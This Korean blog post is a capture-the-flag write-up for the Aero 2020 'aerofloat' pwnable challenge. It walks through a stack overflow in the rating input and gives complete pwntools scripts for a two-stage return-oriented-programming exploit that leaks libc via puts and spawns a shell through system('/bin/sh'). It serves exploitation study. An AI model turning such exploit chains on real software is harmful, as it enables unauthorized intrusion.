본문으로 바로가기

Aero 2020 CTF write up - aerofloat

category CTF/Aero 2020 CTF 2020. 3. 3. 19:19

Aero 2020 CTF 문제 중 pwnable 분야의 Aerofloat 문제이다.

대회 당일에는 풀지 못했지만, 롸업을 보고 재 도전 후 풀수 있게 되었다.

 

 


Analyze

해당 문제의 바이너리 안에 사용자 정의 함수는 아래와 같다.

ubuntu:~/environment/ctf/Aero CTF 2020/pwn/Aerofloat $ func aerofloat
main
menu
read_buf
read_int

 

gdb로 문제 바이너리를 분석해서 c로 나타내면 아래와 같다.

void menu(){
    puts("1. Set rating");
    puts("2. View rating list");
    puts("3. View porfile info");
    puts("4. Exit");
    printf("> ");
}

int read_buf(char *name, int len){
    int name_len = read(0, name, len);
    
    if(name_len <= 0)
        return name_len;
        
    char tmp = *name[name_len-1];
    
    if(tmp != '0xa')
        return name_len;
        
    *name[name_len-1] = 0;
    
    return name_len;
}

int read_int(){
    int len = read(0, rbp-0x10, 0x8);   // rbp-0x4
    
    *(rbp+len-0x11) = 0;
    *(rbp-0x8) = 0xdeadbeef;
    
    return atoi(rbp-0x10);
}

int main(){
    printf("{?} Enter name: ");
    
    read_buf(name, 0x80);
    
    int tmp1 = 3; // rbp-0x4
    int tmp2 = 0; // rbp-0x8
    int tmp3 = 0; // rbp-0xc
    
    while(tmp2 != 1){
        if(tmp1 > 0){
            menu();
            int select = read_int();    // rbp-0x14
            
            if(select != 0xdeadbeef){
                if(select == 1){
                    printf("{?} Enter your ticket id: ");
                    read_buf(rbp-0xc0 + (tmp3 << 0x4), 0x8);    // rbp-0xc0 = 0x7fffffffe4b0
                    
                    printf("{?} Enter your rating: ");
                    scanf("%lf", rbp-0xc0 + (tmp3 << 0x4) + 0x8);
                    
                    
                    rdi = rbp - 0xc0 + (tmp3 << 0x4);
                    
                    xmm0 = *((tmp3 << 0x4) + rbp - 0xb8);
                    
                    printf("{+} You set rating <%lf> to ticket <%s>\n", xmm0, rdi);
                    
                    tmp3 += 1;
                    
                }
                else if(select == 2){
                    puts("----- Your rating list -----");
                    int tmp4 = 0; // rbp-0x10
                    
                    while(tmp4 < tmp3){
                        printf("----- Rating [%d] -----\n", *(rbp-0x10));
                        printf("Ticket: %s\n", rbp-0xc0 + (tmp4 << 0x4));
                        printf("Score: %lf\n", *((tmp4 << 0x4) + rbp - 0xb8));
                        
                        tmp4++;
                        
                        puts("------ Profile ------");
                        printf("Name: %s\n", name);
                        printf("You set %d ratins\n", tmp3);
                    }
                }
                else if(select == 3){
                    puts("------ Profile ------");
                    printf("Name: %s\n", name);
                    printf("You set %d ratins\n", tmp3);
                }
                else if(select == 4)
                    tmp2 = 1;
            }
            else exit(0xffffffff);
        }
        else exit(0xfffffffe);
    }
}

 

 

바이너리에 적용된 보안 기법은 아래와 같다.

ubuntu:~/environment/ctf/Aero CTF 2020/pwn/Aerofloat $ checksec --file=aerofloat
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   76 Symbols     No       0               2       aerofloat

 

 

카나리가 적용되어 있지 않고, NX가 되어 있어 ROP로 쉘을 실행하는 문제라는 것으로 생각했다.

Overflow가 일어나는 부분을 찾아보면 select == 1 일때, Overflow가 발생하게 된다.

Stack에 사용자가 입력한 ticket id와 rating이 각각 8bytes 만큼 저장이 되는데, 이때 제한을 하지 않아 RET까지 수정이 가능하다.

if(select == 1){
    printf("{?} Enter your ticket id: ");
    read_buf(rbp-0xc0 + (tmp3 << 0x4), 0x8);    // rbp-0xc0 = 0x7fffffffe4b0
            
    printf("{?} Enter your rating: ");
    scanf("%lf", rbp-0xc0 + (tmp3 << 0x4) + 0x8);
            
                    
    rdi = rbp - 0xc0 + (tmp3 << 0x4);
                
    xmm0 = *((tmp3 << 0x4) + rbp - 0xb8);
                    
    printf("{+} You set rating <%lf> to ticket <%s>\n", xmm0, rdi);
                    
    tmp3 += 1;
}

 

 

사용자가 입력한 값은 rbp-0xc0 부터 입력이 시작된다.

아래 사진에서 노란색 박스의 왼쪽 부분은 ticket_id, 오른쪽 부분은 rating 이다.

빨간색은 SFP 와 RET 의 값이다.

따라서 select = 1을 12번 반복해서 값을 입력한 후, RET 값을 변조할 수 있게 된다.

rbp-0xc0 부터 12번 입력 후, 메모리 구조

 

libc.so.6 파일을 준것을 보니 서버에 ASLR이 적용 되어 있다는 것을 짐작할 수 있다.

 

libc_base 주소를 구해야 다른 필요한 Gadget의 실제 주소를 구할 수 있다.

아래와 같은 payload로 puts_GOT 를 구하여 libc_base 주소를 구한다.

[rdiret] + [puts_got] + [puts_plt] + [main_addr]

 

select = 1일때 코드를 보면, rating 값을 입력 받을 때 %lf 형식으로 입력을 받고 있다.

우리가 원하는 16진수 값을 넣기 위해서는 아래 python 코드에서 byte_to_float() 함수를 이용하면 된다.

scanf("%lf", rbp-0xc0 + (tmp3 << 0x4) + 0x8);

 

 

from pwn import *

def byte_to_float(data):
    assert len(data) == 8
    return str(struct.unpack('d', bytes(data))[0])

def setRating(ticket_id, value):
    p.sendlineafter("> ", "1")
    p.sendafter("{?} Enter your ticket id: ", ticket_id)
    p.sendlineafter("{?} Enter your rating: ", value)
    

p = process("./aerofloat")
e = ELF("./aerofloat")
l = ELF("./libc.so.6")

rdiret = 0x004015bb

p.sendlineafter("{?} Enter name: ", "A")
for i in range(0, 12):
    setRating("A", "1")
    
    
###############################################################
# Overwrite RET ([rdiret] + [puts_got] + [puts_plt] + [main])
setRating("A"*8, byte_to_float(p64(rdiret)))
setRating(p64(e.got["puts"]), byte_to_float(p64(e.symbols["puts"])))
setRating(p64(e.symbols["main"]), "1")

p.sendlineafter("> ", "4")
###############################################################


###################################
# Get function real address
puts_got = p.recvuntil("\x0a{")
puts_got = puts_got[puts_got.index("> ")+2:]
puts_got = puts_got[:puts_got.index("\x0a")]
puts_got = u64(puts_got.ljust(8, "\x00"))

print("[*] puts_got: " + hex(puts_got))
###################################

 

 

위 코드를 실행하면 puts_got가 Leak 가 된다.

[*] puts_got: 0x7ffff7a649c0 이므로 libc database 사이트에 뒤 3자리만 입력해서 puts의 오프셋을 알아낸다.

ubuntu:~/environment/ctf/Aero CTF 2020/pwn/Aerofloat $ python poc.py 
[+] Starting local process './aerofloat': pid 3906
[*] puts_got: 0x7ffff7a649c0

 

 

puts 함수의 offset 말고도 system, str_bin_sh 의 offset 주소가 보인다 이를 이용해서 필요한 주소를 구한다.

 

아래 코드로 shell을 실행시키기 위한 Gadget을 모두 구했다.

from pwn import *

def byte_to_float(data):
    assert len(data) == 8
    return str(struct.unpack('d', bytes(data))[0])

def setRating(ticket_id, value):
    p.sendlineafter("> ", "1")
    p.sendafter("{?} Enter your ticket id: ", ticket_id)
    p.sendlineafter("{?} Enter your rating: ", value)
    

p = process("./aerofloat")
e = ELF("./aerofloat")
l = ELF("./libc.so.6")

rdiret = 0x004015bb
ret = 0x401016
puts_offset = 0x0809c0
system_offset = 0x04f440
binsh_offset = 	0x1b3e9a

p.sendlineafter("{?} Enter name: ", "A")
for i in range(0, 12):
    setRating("A", "1")
    
    
###############################################################
# Overwrite RET ([rdiret] + [puts_got] + [puts_plt] + [main])
setRating("A"*8, byte_to_float(p64(rdiret)))
setRating(p64(e.got["puts"]), byte_to_float(p64(e.symbols["puts"])))
setRating(p64(e.symbols["main"]), "1")

p.sendlineafter("> ", "4")
###############################################################


###################################
# Get function real address
puts_got = p.recvuntil("\x0a{")
puts_got = puts_got[puts_got.index("> ")+2:]
puts_got = puts_got[:puts_got.index("\x0a")]
puts_got = u64(puts_got.ljust(8, "\x00"))
libc_base = puts_got - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

print("[*] libc_addr: " + hex(libc_base))
print("[*] puts_got: " + hex(puts_got))
print("[*] system_addr: " + hex(system_addr))
print("[*] binsh: " + hex(binsh_addr))
###################################

 

 

 

맨 처음에 RET에

[rdiret] + [puts_got] + [puts_plt] + [main_addr]

과 같은 payload를 입력했다. puts_got 를 출력한 후 main 함수가 다시 시작 되기때문에 똑같은 방식으로 12번을 반복해서 RET까지 접근하여 RET 값을 변조한다.

shell을 실행하기 위한 payload 구조는 아래와 같다.

[rdiret] + [binsh] + [ret] + [system]

 

 

 

 


payload

from pwn import *

def byte_to_float(data):
    assert len(data) == 8
    return str(struct.unpack('d', bytes(data))[0])

def setRating(ticket_id, value):
    p.sendlineafter("> ", "1")
    p.sendafter("{?} Enter your ticket id: ", ticket_id)
    p.sendlineafter("{?} Enter your rating: ", value)
    

p = process("./aerofloat")
e = ELF("./aerofloat")
l = ELF("./libc.so.6")

rdiret = 0x004015bb
ret = 0x401016
puts_offset = 0x0809c0
system_offset = 0x04f440
binsh_offset = 	0x1b3e9a

p.sendlineafter("{?} Enter name: ", "A")
for i in range(0, 12):
    setRating("A", "1")
    
    
###############################################################
# Overwrite RET ([rdiret] + [puts_got] + [puts_plt] + [main])
setRating("A"*8, byte_to_float(p64(rdiret)))
setRating(p64(e.got["puts"]), byte_to_float(p64(e.symbols["puts"])))
setRating(p64(e.symbols["main"]), "1")

p.sendlineafter("> ", "4")
###############################################################


###################################
# Get function real address
puts_got = p.recvuntil("\x0a{")
puts_got = puts_got[puts_got.index("> ")+2:]
puts_got = puts_got[:puts_got.index("\x0a")]
puts_got = u64(puts_got.ljust(8, "\x00"))
libc_base = puts_got - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

print("[*] libc_addr: " + hex(libc_base))
print("[*] puts_got: " + hex(puts_got))
print("[*] system_addr: " + hex(system_addr))
print("[*] binsh: " + hex(binsh_addr))
###################################


p.sendlineafter(": ", "A")
for i in range(0, 12):
    setRating("A", "1")
    
    
######################################################################
# Overwrite RET ([rdiret] + [binsh] + [ret] + [system])
setRating("A"*8, byte_to_float(p64(rdiret)))
setRating(p64(binsh_addr), byte_to_float(p64(ret)))
setRating(p64(system_addr), "1")

p.sendlineafter("> ", "4")
######################################################################

p.interactive()

'CTF > Aero 2020 CTF' 카테고리의 다른 글

Aero 2020 CTF write up - aerofloat  (0) 2020.03.03

댓글을 달아 주세요